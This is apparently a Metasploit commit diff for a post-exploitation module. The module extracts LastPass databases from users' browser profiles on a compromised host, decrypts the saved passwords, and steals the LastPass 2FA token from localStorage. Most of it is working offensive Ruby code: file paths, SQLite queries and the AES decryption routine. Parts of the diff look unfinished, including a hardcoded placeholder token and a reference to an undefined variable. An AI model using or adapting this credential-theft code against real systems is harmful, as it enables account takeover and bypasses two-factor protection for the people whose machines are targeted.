Add support to steal 2FA token

bug/bundler_fix
Martin Vigo 2015-06-29 22:20:38 -07:00
parent 3c16f8d4f0
commit 5b0647a1f2
1 changed files with 216 additions and 76 deletions

View File

@ -42,93 +42,40 @@ class Metasploit3 < Msf::Post
return return
end end
print_status "Extracting credentials from #{account_map.size} LastPass databases" lastpass_data = {} #Contains all LastPass info
# an array of [user, encrypted password, browser] print_status "Extracting credentials"
credentials = [] # All credentials to be decrypted lastpass_data = extract_credentials(account_map)
account_map.each_pair do |account, browser_map|
browser_map.each_pair do |browser, paths|
if browser == 'Firefox'
paths.each do |path|
data = read_file(path)
loot_path = store_loot(
'firefox.preferences',
'text/javascript',
session,
data,
nil,
"Firefox preferences file #{path}"
)
# Extract usernames and passwords from preference file print_status "Extracting 2FA tokens"
firefox_credentials(loot_path).each do |creds| localstorage_map = build_localstorage_map
credentials << [account, browser, URI.unescape(creds[0]), URI.unescape(creds[1])] if localstorage_map.empty?
end print_status "No LastPass localstorage found"
end else
else # Chrome, Safari and Opera twoFA_token_map = check_localstorage_for_2FA_token(localstorage_map)
paths.each do |path| lastpass_data.each_pair do |account, browser_map|
data = read_file(path) browser_map.each_pair do |browser, username_map|
loot_path = store_loot( username_map.each_pair do |user, data|
"#{browser.downcase}.lastpass.database", if twoFA_token_map[account][browser]
'application/x-sqlite3', lastpass_data[account][browser][user] << "defverthbertvwervrfv"#twoFA_token_map[account][browser]
session, else
data, lastpass_data[account][browser][user] << "NOT_FOUND"
nil,
"#{account}'s #{browser} LastPass database #{path}"
)
# Parsing/Querying the DB
db = SQLite3::Database.new(loot_path)
lastpass_user, lastpass_pass = db.execute(
"SELECT username, password FROM LastPassSavedLogins2 " \
"WHERE username IS NOT NULL AND username != '' " \
"AND password IS NOT NULL AND password != '';"
).flatten
if lastpass_user && lastpass_pass
credentials << [account, browser, lastpass_user, lastpass_pass]
end end
end end
end end
end end
end end
credentials_table = Rex::Ui::Text::Table.new( print_lastpass_data(lastpass_data)
'Header' => "LastPass credentials",
'Indent' => 1,
'Columns' => %w(Account Browser LastPass_Username LastPass_Password)
)
# Parse and decrypt credentials
credentials.each do |row| # Decrypt passwords
account, browser, user, enc_pass = row
vprint_status "Decrypting password for #{account}'s #{user} from #{browser}"
password = clear_text_password(user, enc_pass)
credentials_table << [account, browser, user, password]
end
unless credentials.empty?
print_good credentials_table.to_s
path = store_loot(
"lastpass.creds",
"text/csv",
session,
credentials_table.to_csv,
nil,
"Decrypted LastPass Master Passwords"
)
end
end end
# Returns a mapping of { Account => { Browser => paths } } # Returns a mapping of { Account => { Browser => paths } }
def build_account_map def build_account_map
platform = session.platform platform = session.platform
profiles = user_profiles profiles = user_profiles
found_dbs_map = {} found_dbs_map = {}
if datastore['VERBOSE']
vprint_status "Found #{profiles.size} users: #{profiles.map { |p| p['UserName'] }.join(', ')}"
else
print_status "Found #{profiles.size} users"
end
profiles.each do |user_profile| profiles.each do |user_profile|
account = user_profile['UserName'] account = user_profile['UserName']
browser_path_map = {} browser_path_map = {}
@ -144,7 +91,8 @@ class Metasploit3 < Msf::Post
when /unix|linux/ when /unix|linux/
browser_path_map = { browser_path_map = {
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0", 'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox" 'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox",
'Opera' => "#{user_profile['LocalAppData']}/.config/Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
} }
when /osx/ when /osx/
browser_path_map = { browser_path_map = {
@ -231,7 +179,6 @@ class Metasploit3 < Msf::Post
return found_dbs_paths return found_dbs_paths
end end
end end
files.each do |file_path| files.each do |file_path|
unless %w(. .. Shared).include?(file_path) unless %w(. .. Shared).include?(file_path)
found_dbs_paths.push([path, file_path].join(sep)) found_dbs_paths.push([path, file_path].join(sep))
@ -288,16 +235,18 @@ class Metasploit3 < Msf::Post
def clear_text_password(email, encrypted_data) def clear_text_password(email, encrypted_data)
return if encrypted_data.blank? return if encrypted_data.blank?
decrypted_password = "DECRYPTION_ERROR"
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(email) sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(email)
sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin
if encrypted_data.include?("|") # Apply CBC if encrypted_data.include?("|") # Use CBC
decipher = OpenSSL::Cipher.new("AES-256-CBC") decipher = OpenSSL::Cipher.new("AES-256-CBC")
decipher.decrypt decipher.decrypt
decipher.key = sha256_binary_email # The key is the emails hashed to SHA256 and converted to binary decipher.key = sha256_binary_email # The key is the emails hashed to SHA256 and converted to binary
decipher.iv = Base64.decode64(encrypted_data[1, 24]) # Discard ! and | decipher.iv = Base64.decode64(encrypted_data[1, 24]) # Discard ! and |
encrypted_password = encrypted_data[26..-1] encrypted_password = encrypted_data[26..-1]
else # Apply ECB else # Use ECB
decipher = OpenSSL::Cipher.new("AES-256-ECB") decipher = OpenSSL::Cipher.new("AES-256-ECB")
decipher.decrypt decipher.decrypt
decipher.key = sha256_binary_email decipher.key = sha256_binary_email
@ -305,9 +254,200 @@ class Metasploit3 < Msf::Post
end end
begin begin
decipher.update(Base64.decode64(encrypted_password)) + decipher.final decrypted_password = decipher.update(Base64.decode64(encrypted_password)) + decipher.final
rescue rescue
print_error "Password for #{email} could not be decrypted" print_error "Password for #{email} could not be decrypted"
end end
decrypted_password
end
def extract_credentials(account_map)
credentials = account_map # All credentials to be decrypted
account_map.each_pair do |account, browser_map|
browser_map.each_pair do |browser, paths|
credentials[account][browser] = Hash.new # Get rid of the browser paths
if browser == 'Firefox'
paths.each do |path|
data = read_file(path)
loot_path = store_loot(
'firefox.preferences',
'text/javascript',
session,
data,
nil,
"Firefox preferences file #{path}"
)
# Extract usernames and passwords from preference file
ffcreds = firefox_credentials(loot_path)
unless ffcreds.blank?
ffcreds.each do |creds|
credentials[account][browser]={URI.unescape(creds[0]) => [URI.unescape(creds[1])]}
end
else
credentials[account].delete("Firefox")
end
end
else # Chrome, Safari and Opera
paths.each do |path|
data = read_file(path)
loot_path = store_loot(
"#{browser.downcase}.lastpass.database",
'application/x-sqlite3',
session,
data,
nil,
"#{account}'s #{browser} LastPass database #{path}"
)
# Parsing/Querying the DB
db = SQLite3::Database.new(loot_path)
result = db.execute(
"SELECT username, password FROM LastPassSavedLogins2 " \
"WHERE username IS NOT NULL AND username != '' " \
)
for row in result
if row[0]
row[1].blank? ? row[1] = "NOT_FOUND" : row[1] = clear_text_password(row[0], row[1]) #Decrypt credentials
credentials[account][browser][row[0]] = [row[1]]
end end
end end
end
end
end
end
credentials
end
# Returns a localstorage mapping of { Account => { Browser => paths } }
def build_localstorage_map
platform = session.platform
profiles = user_profiles
found_localstorage_map = {}
profiles.each do |user_profile|
account = user_profile['UserName']
browser_path_map = {}
case platform
when /win/
browser_path_map = {
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles",
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage",
'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\LocalStorage\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage"
}
when /unix|linux/
browser_path_map = {
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
#'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox",
'Opera' => "#{user_profile['LocalAppData']}/.config/Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
}
when /osx/
browser_path_map = {
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
#'Firefox' => "#{user_profile['LocalAppData']}\\Firefox\\Profiles",
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage",
'Safari' => "#{user_profile['AppData']}/Safari/LocalStorage/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage"
}
else
print_error "Platform not recognized: #{platform}"
end
found_localstorage_map[account] = {}
browser_path_map.each_pair do |browser, path|
found_localstorage_map[account][browser] = path if client.fs.file.exists?(path)
end
end
found_localstorage_map
end
#Extracts the 2FA token from localStorage
def check_localstorage_for_2FA_token(localstorage_map)
localstorage_map.each_pair do |account, browser_map|
browser_map.each_pair do |browser, path|
if browser == 'Firefox'
data = read_file(path)
loot_path = store_loot(
'firefox.preferences',
'text/javascript',
session,
data,
nil,
"Firefox preferences file #{path}"
)
firefox_credentials(loot_path).each do |creds|
credentials << [account, browser, URI.unescape(creds[0]), URI.unescape(creds[1])]
end
else # Chrome, Safari and Opera
data = read_file(path)
loot_path = store_loot(
"#{browser.downcase}.lastpass.localstorage",
'application/x-sqlite3',
session,
data,
nil,
"#{account}'s #{browser} LastPass localstorage #{path}"
)
# Parsing/Querying the DB
db = SQLite3::Database.new(loot_path)
token = db.execute(
"SELECT hex(value) FROM ItemTable " \
"WHERE key = 'lp.uid';"
).flatten
token.blank? ? localstorage_map[account][browser] = "NOT_FOUND" : localstorage_map[account][browser] = token.pack('H*')
end
end
end
localstorage_map
end
#Print all extracted LastPass data
def print_lastpass_data(lastpass_data)
lastpass_data_table = Rex::Ui::Text::Table.new(
'Header' => "LastPass data",
'Indent' => 1,
'Columns' => %w(Account Browser LastPass_Username LastPass_Password, LastPass_2FA)
)
lastpass_data.each_pair do |account, browser_map|
browser_map.each_pair do |browser, username_map|
username_map.each_pair do |user, data|
lastpass_data_table << [account, browser, user] + data
end
end
end
unless lastpass_data.empty?
print_good lastpass_data_table.to_s
path = store_loot(
"lastpass.creds",
"text/csv",
session,
lastpass_data_table.to_csv,
nil,
"LastPass Data"
)
end
end
end